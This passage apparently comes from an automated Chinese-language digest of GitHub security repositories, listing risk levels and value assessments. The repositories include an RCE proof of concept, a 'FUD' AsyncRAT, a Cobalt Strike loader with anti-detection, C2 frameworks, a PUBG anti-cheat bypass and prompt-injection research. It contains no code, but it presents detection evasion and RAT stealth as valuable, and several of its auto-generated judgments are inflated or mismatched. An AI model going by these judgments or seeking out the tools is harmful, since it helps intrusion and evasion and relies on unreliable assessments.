|
||
> 技术实现方案为自定义的PoC代码,演示漏洞利用流程
|
||
|
||
> 安全机制分析显示该利用在特定条件下触发,缺乏有效检测和防御措施
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• d/pdf渲染模块
|
||
• 字体文件处理部分
|
||
• PDF文件解析代码
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库具备完整漏洞利用脚本,直接针对d/pdf中的RCE漏洞,技术内容实用,符合安全研究和漏洞利用的核心需求,相关性极高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SecAlerts - 微信公众号安全漏洞信息聚合平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SecAlerts](https://github.com/wy876/SecAlerts) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **4**
|
||
|
||
#### 💡 分析概述
|
||
|
||
本仓库收集并整理微信公众号相关的安全漏洞文章链接,包含安全漏洞分析和安全防护内容,近期更新包括高危漏洞分析、渗透目标利用课程等,与网络安全渗透测试相关。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 收集微信公众号安全漏洞和渗透测试相关内容 |
|
||
| 2 | 包含高危漏洞分析、利用教程、漏洞修复等信息 |
|
||
| 3 | 更新内容涉及漏洞分析、利用方法、渗透目标 |
|
||
| 4 | 对提高安全实践和漏洞利用技术具有潜在价值 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 未提供代码,仅为漏洞内容和安全文章链接的聚合
|
||
|
||
> 新内容包括漏洞分析、利用技术分享、渗透目标方案
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 微信公众号系统
|
||
• 安全检测与漏洞分析工具
|
||
• 相关安全培训内容
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
更新内容涉及微信公众号相关高危漏洞分析、利用方案、内网渗透目标内容,为安全研究与渗透测试提供有价值的学习和参考资料,符合漏洞利用和安全修复的标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### natasha - 结合USB Rubber Ducky和WiFi Pineapple功能的安全渗透工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [natasha](https://github.com/mattgenovese1/natasha) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `安全研究/漏洞利用/渗透测试` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **90**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库融合了USB HID攻击、WiFi网络攻击和AI驱动的漏洞利用脚本生成,旨在辅助安全研究与教育,支持多平台攻击配置,技术内容丰富,核心目标为渗透测试与攻防研究。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 集成USB HID模拟(Rubber Ducky)与WiFi攻击(WiFi Pineapple)功能 |
|
||
| 2 | 使用AI自主生成攻击脚本,实现目标环境适应性 |
|
||
| 3 | 支持目标操作系统检测和攻击策略调整,具研究价值 |
|
||
| 4 | 高度相关网络安全关键词,核心功能集中在渗透测试与漏洞利用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Python实现多组件模块化设计,包括HID仿真、无线攻击、AI脚本生成和显示界面
|
||
|
||
> AI引擎使用轻量级模型进行目标检测和脚本定制,结合 passive fingerprinting 技术
|
||
|
||
> 硬件层面集成Raspberry Pi Zero 2 W、Waveshare 2.13寸e-paper显示,实现便携式渗透测试平台
|
||
|
||
> 攻击模块覆盖网络扫描、钓鱼门户、握手捕获、会话劫持等多重攻击手段
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• USB HID设备模拟
|
||
• WiFi网络攻击模块
|
||
• AI攻击脚本生成引擎
|
||
• UI显示和交互界面
|
||
• 硬件接口与嵌入式系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
项目充分体现安全研究、漏洞利用和渗透测试的技术内容,利用AI实现攻击脚本智能生成,具有创新性和实用性,配备完整攻击功能和多目标检测技术,符合搜素关键词“security tool”的相关性,符合渗透测试和攻防研究的价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### AsyncRAT-Fud-Fixed-Dll-Remote-Administration-Tool-New - 远程控制和监控工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [AsyncRAT-Fud-Fixed-Dll-Remote-Administration-Tool-New](https://github.com/Chinamaiz/AsyncRAT-Fud-Fixed-Dll-Remote-Administration-Tool-New) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个远程访问工具(RAT),用于远程控制、监视目标电脑。最新更新修正了DLL文件,增强了隐蔽性和稳定性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 远程控制工具的实现 |
|
||
| 2 | 更新内容涉及DLL文件修复和优化 |
|
||
| 3 | 安全相关变更:修复了可能影响隐蔽性和稳定性的漏洞 |
|
||
| 4 | 影响说明:可能影响该RAT的检测规避能力和使用的稳定性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过修复DLL文件中的漏洞或缺陷,提高了程序的隐藏性和抗检测能力
|
||
|
||
> 该版本可能增加了对抗安全软件检测的功能或改进了通信安全措施
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• DLL文件、通信模块、远控核心逻辑
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
修复DLL文件中的缺陷,有助于提高远控工具的隐蔽性和稳定性,涉及安全检测规避原理,属于渗透测试中常用的工具改进,具有明显的安全相关价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed - PUBG Mobile抗封工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed](https://github.com/Wazmesnz/PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供一种绕过PUBG Mobile安全措施的工具,旨在避免封禁,允许玩家匹配电话端用户。此次更新可能涉及工具的改进或修复。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 绕过PUBG Mobile的反作弊安全措施 |
|
||
| 2 | 修复或完善绕过方案的实现 |
|
||
| 3 | 可能涉及安全规避技术或利用方案 |
|
||
| 4 | 影响游戏的反作弊检测与封禁机制 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用规避反作弊检测的技术手段,具体实现细节不详,但可能涉及修改数据包、模拟客户端行为等
|
||
|
||
> 安全影响分析:该工具可能削弱PUBG Mobile的反作弊系统,增加作弊行为的成功率,威胁游戏公平环境
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• PUBG Mobile客户端
|
||
• 游戏的反作弊系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具明显属于安全规避类别,旨在绕过反作弊措施,具有明显的安全和渗透测试相关价值,尤其在安全研究或反作弊系统检测方面具有参考意义。
|
||
</details>
|
||
|
||
---
|
||
|
||
### iis_gen - 针对IIS截断枚举漏洞的字典生成工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [iis_gen](https://github.com/dilan1001/iis_gen) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供一个bash脚本,用于生成利用IIS字符截断漏洞的字典文件,从而辅助渗透过程,旨在发现隐藏文件和目录。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用IIS tilde截断枚举漏洞生成针对性字典 |
|
||
| 2 | 生成优化字典以发现隐藏文件/目录 |
|
||
| 3 | 与安全相关的变更:无直接漏洞修复,只是工具用途 |
|
||
| 4 | 影响:影响文件字典生成过程,协助漏洞利用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 技术实现:通过脚本模拟字符截断技术生成猜测字典,针对微软IIS服务器的短名(8.3)显示漏洞设计
|
||
|
||
> 安全影响分析:该工具可用作漏洞验证和攻击辅助,提升渗透测试效率,但本身不修复漏洞,仅提供利用工具
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• IIS服务器短名 (8.3) 文件系统曝光
|
||
• 字典文件生成工具
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具专为利用IIS短名枚举漏洞设计,生成针对性字典,有助于安全渗透测试,可用于验证和利用特定漏洞,具有安全相关价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### c2sagent - 基于AI的可配置MCP安全测试平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [c2sagent](https://github.com/C2SAgent/c2sagent) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全功能/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **16**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新主要涉及引入流式响应机制,支持对MCP与Agent的流式通信,增强了接口的实时性和扩展性,提升了在安全渗透测试中的动态响应能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 增强MCP和Agent之间的流式通信能力 |
|
||
| 2 | 修改了相关调用接口,支持StreamingResponse |
|
||
| 3 | 实现对响应的逐块实时解析 |
|
||
| 4 | 改善了对工具调用的超时控制和异常处理 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在后端接口中引入异步生成器处理流式数据,优化了数据传输效率。
|
||
|
||
> 调用MCP工具时采用异步流式调用方式,支持逐块传输和处理JSON数据段。
|
||
|
||
> 通过增加超时控制和异常管理增强了系统的稳定性和安全性。
|
||
|
||
> 代码中调整了部分请求URL,明确区分普通调用和流式调用路径。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• MCP客户端与服务端接口通信模块
|
||
• Agent请求处理逻辑
|
||
• 流式数据处理与解析机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新显著提升了系统在安全渗透测试中的实时交互能力,增强了检测与响应效率,对于利用网络流技术实现更高效、更安全的漏洞探索具有重要意义。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_SpringCoreproject - 网络安全漏洞检测与管理工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_SpringCoreproject](https://github.com/Anupriya6769/C2TC_SpringCoreproject) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **69**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新增加了多种基于Spring Boot的项目,涵盖不同的应用场景,包括C2框架、漏洞利用、攻击防护、自动化扫描等。部分项目涉及漏洞利用代码、漏洞模拟、渗透测试工具的结构设计。更新内容主要集中在项目结构、接口定义和安全研究相关的代码实现。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 涉及多种基于Java的安全测试框架、漏洞利用代码和C2通信框架 |
|
||
| 2 | 引入新的漏洞利用示例、检测工具和安全研究功能 |
|
||
| 3 | 部分项目包含漏洞相关的实体定义和异常处理机制 |
|
||
| 4 | 可能对渗透测试和安全评估产生积极影响,但也潜在被用于攻击工具的开发 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 代码中定义了大量安全相关实体类(如漏洞、攻击请求等)和异常处理机制,涉及利用链和漏洞评估模型
|
||
|
||
> 一些项目实现了漏洞利用的接口和处理流程,可用于安全测试或恶意利用模拟
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 漏洞利用模块
|
||
• 安全检测接口
|
||
• 渗透测试框架
|
||
• 攻击通信C2框架
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
项目中含有漏洞利用、漏洞检测、安全通信框架等核心安全功能代码,符合安全研究和渗透测试工具的标准,具有较高的安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2C - 网络安全漏洞利用与检测工具框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2C](https://github.com/MichaelKoga/C2C) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **29**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了网络安全漏洞利用代码、漏洞检测与修复、以及渗透测试工具,涵盖安全漏洞POC和防护措施。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含针对特定漏洞的漏洞利用代码(如score-scrape-arm.py、score-scrape.py) |
|
||
| 2 | 实现的安全漏洞检测与利用方法(如发现竞赛漏洞、自动化测试触发漏洞) |
|
||
| 3 | 增加的安全相关模块(如安全检测、漏洞利用、修复脚本) |
|
||
| 4 | 影响的组件包括前端代理配置、后端API接口、爬虫模拟攻击等 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用Playwright和RapidFuzz实现模糊匹配和自动化漏洞利用
|
||
|
||
> 后端MongoDB存储漏洞信息和防护数据,风险信息和漏洞POC埋点明显
|
||
|
||
> 修复安全漏洞相关代码和增加安全检测参数,有潜在的高危安全利用风险
|
||
|
||
> 对漏洞利用和检测流程进行了自动化集成,属于渗透测试和漏洞验证工具
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 前端代理服务(Vite配置和反向代理)
|
||
• 后端API(Express、MongoDB接口)
|
||
• 安全漏洞利用脚本(score-scrape-arm.py、score-scrape.py)
|
||
• 漏洞检测与防护逻辑
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库包含具体的漏洞利用脚本、检测工具,以及安全漏洞的POC,有助于漏洞验证与攻防演练,具有高度安全研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_springbootproject - 基于Spring Boot的C2通信框架项目
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_springbootproject](https://github.com/rishiroshan20/C2TC_springbootproject) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `渗透测试工具/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **35**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了一个C2控制通信框架,主要用于渗透测试中的命令与控制。包含客户端与服务器端核心代码,并涉及若干安全相关的技术内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能:实现C2协议通信,支持命令控制 |
|
||
| 2 | 安全特性:无明显的加密或安全防护机制 |
|
||
| 3 | 研究价值:可用于渗透测试模拟与漏洞利用演练 |
|
||
| 4 | 与搜索关键词'c2'相关性:直接实现和演示C2通信技术,符合安全研究和渗透测试用途 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 技术实现方案:基于Java Spring Boot框架,搭建客户端-服务器模型,支持命令传输和执行。
|
||
|
||
> 安全机制分析:无明显加密措施,通信可能存在中间人攻击风险,适合作为渗透测试工具的基础或研究样例。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 网络通信模块
|
||
• 客户端控制端
|
||
• 服务器端控制端
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库核心内容为实现C2命令控制框架,提供实质性渗透测试相关技术代码,符合安全研究、漏洞演示及攻击模拟需求。无高质量漏洞利用代码或创新安全检测特性,但在渗透测试工具范畴具有一定价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Layerguard-Enhanced - 检测和验证ML模型安全的工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Layerguard-Enhanced](https://github.com/SunnyThakur25/Layerguard-Enhanced) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全修复/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库致力于检测ML模型中的后门、毒化权重和篡改,保障AI模型的完整性。此次更新添加了模型检测测试脚本,支持模型安全验证。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 安全检测ML模型中的后门和篡改 |
|
||
| 2 | 引入模型检测测试脚本 |
|
||
| 3 | 增强模型完整性验证能力 |
|
||
| 4 | 为模型托管和部署提供安全保障 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 该工具通过验证模型权重和结构,检测潜在的隐藏威胁。测试脚本创建了简单模型,并预留接口进行安全验证。
|
||
|
||
> 该脚本提升了模型安全检测能力,使得可在模型部署前进行潜在毒化检测,有助于识别被篡改或含有后门的模型。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• ML模型文件(.pt、.onnx等)
|
||
• 模型验证流程
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
新增的模型检测测试脚本直接涉及安全漏洞检测,提升模型安全验证能力,符合安全防护和漏洞利用的标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### iAMnotAhuman - 基于PoLU挑战的AI验证代理工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [iAMnotAhuman](https://github.com/RIZAmohammadkhan/iAMnotAhuman) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **8**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了Proof of Local Understanding(PoLU)挑战机制,旨在验证AI模型的实际推理能力,涉及多步转换和加密技术,结合Redis存储和签名验证,具有明显的安全验证和漏洞利用研究价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能:PoLU挑战生成与验证,安全性验证机制 |
|
||
| 2 | 安全特性:多层加密、签名验证、限速机制 |
|
||
| 3 | 研究价值:提供独特的AI行为验证方法及相关系统设计 |
|
||
| 4 | 相关性:紧扣AI安全关键词,展示AI模型实际推理验证的技术方案 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现方案采用多种编码、压缩、加密等操作,设计复杂的多步骤挑战链,提升自动化验证的难度和安全性
|
||
|
||
> 安全机制分析:结合签名、挑战刷新和限速等机制,确保验证过程的安全与抗篡改,适用于AI模型的行为验证和潜在漏洞测试
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AI模型验证流程
|
||
• 加密及编码转换模块
|
||
• Redis存储和状态管理
|
||
• API接口安全机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库提供了用于验证AI模型真实性的创新方法,核心内容为多层次PoLU挑战与安全验证,符合在AI安全领域进行漏洞验证、行为分析和安全研究的需求,相关性与实质内容充分。
|
||
</details>
|
||
|
||
---
|
||
|
||
### meta-ai-bug-bounty - Instagram群聊安全漏洞与风险研究
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [meta-ai-bug-bounty](https://github.com/roynaldo1234/meta-ai-bug-bounty) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库聚焦于Meta AI的Instagram群聊功能中的安全漏洞,主要涉及提示注入和命令执行漏洞的发现与分析。此次更新主要为报告说明和发现细节摘要,提供安全相关的漏洞信息。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 分析Instagram群聊的安全漏洞(提示注入和命令执行) |
|
||
| 2 | 展示漏洞发现报告和安全风险分析 |
|
||
| 3 | 强调潜在的安全威胁和风险影响 |
|
||
| 4 | 影响Meta AI相关组件中的聊天安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 具体技术细节尚未在更新中披露,但提及了提示注入和命令执行两类漏洞
|
||
|
||
> 涉及利用AI模型的提示注入进行越权或信息泄露,可能引发远程命令执行的安全风险
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Instagram群聊功能
|
||
• Meta AI的聊天处理模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库报告聚焦于Instagram群聊中存在的安全漏洞,涉及提示注入和命令执行的安全风险,具有较高的漏洞利用价值与安全研究意义。
|
||
</details>
|
||
|
||
---
|
||
|
||
### AI-Agent-Security - AI安全研究与防护措施文档
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [AI-Agent-Security](https://github.com/sortlight/AI-Agent-Security) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **6**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要包含关于AI(尤其是大型语言模型)安全的研究资料、攻击场景分析及防护策略,强调prompt injection等新兴威胁,集合了安全研究成果和防御方案。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 详细分析了AI(尤其是LLMs)在安全方面的潜在风险,包括prompt injection和数据 Poisoning。 |
|
||
| 2 | 提供了安全防护措施和攻击研究内容,具有一定技术深度和实用指导价值。 |
|
||
| 3 | 收集整理了AI模型安全相关的研究资料,具有一定创新性和研究价值。 |
|
||
| 4 | 与搜索关键词AI Security高度相关,聚焦于AI模型的渗透测试和漏洞利用研究。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用流程图和序列图描述安全防护体系和攻击路径,突出输入验证、策略层及外部系统安全。
|
||
|
||
> 分析了prompt injection的攻击流程和相应的防护策略,包括输入 sanitization 和访问控制。
|
||
|
||
> 强调攻击场景与现实系统的关联,结合Web3和模型训练数据的安全保障措施。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 大型语言模型(LLMs)
|
||
• 推理和输出处理机制
|
||
• 输入验证系统
|
||
• 模型训练和数据源
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库内容符合AI安全领域的研究价值,包含实质性技术分析和防护方案,特别针对prompt injection等前沿威胁,符合渗透测试与漏洞利用的研究方向。虽然内容以文档为主,但具有较高的实用价值和研究深度,符合搜索关键词“AI Security”的专业需求。
|
||
</details>
|
||
|
||
---
|
||
|
||
### ForoHub_Creative_AI - Spring Boot基础的AI工具社区API安全模块
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [ForoHub_Creative_AI](https://github.com/Isradu/ForoHub_Creative_AI) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **9**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新实现基于JWT的用户鉴权,增强API安全性,添加用户管理、Token生成与验证逻辑。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 引入JWT认证机制,保护除/login外的所有接口 |
|
||
| 2 | 新增用户实体与存储仓库,支持身份管理 |
|
||
| 3 | 实现Token生成与验证逻辑,强化接口安全 |
|
||
| 4 | 配置Spring Security实现请求拦截和权限控制 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 使用Spring Security配合JWT实现token化鉴权,加入SecurityFilter拦截请求并验证Token
|
||
|
||
> 新增用户数据模型,存储用户信息和密码,支持bcrypt加密
|
||
|
||
> 集成JWT库生成和解析Token,确保接口请求的合法性
|
||
|
||
> 完善登录接口,返回JWT token,其他接口通过token鉴权
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 用户管理模块
|
||
• 认证授权逻辑
|
||
• 安全过滤器
|
||
• API入口鉴权机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新显著提升API的安全性,加入JWT鉴权机制,修复潜在未授权访问风险,属于安全修复和增强范畴,具有重要安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### koneko - Cobalt Strike壳加载器,具多重反检测特性
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [koneko](https://github.com/cordvr/koneko) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供一个具有多重先进反检测功能的Cobalt Strike shellcode加载工具,旨在增强渗透测试的隐蔽性和检测规避能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供Cobalt Strike shellcode加载功能 |
|
||
| 2 | 实现多种反检测和反检测规避技术 |
|
||
| 3 | 安全相关变更内容未详尽披露,但涉及反检测手段 |
|
||
| 4 | 影响安全检测与防御体系中恶意载荷的规避能力 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用多重反检测策略和先进的反规避技术提升加载器隐蔽性
|
||
|
||
> 可能涉及特殊编码或环境检测绕过手段,具体实现细节未披露
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 钓鱼攻击载荷平台
|
||
• 入侵渗透代理框架
|
||
• 反检测策略
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库核心功能为反检测绕过工具,直接关系到恶意载荷的隐蔽性,具有明显的安全利用潜力,符合漏洞利用或安全绕过范畴。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SpringVulnBoot-frontend - Java安全渗透平台前端
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
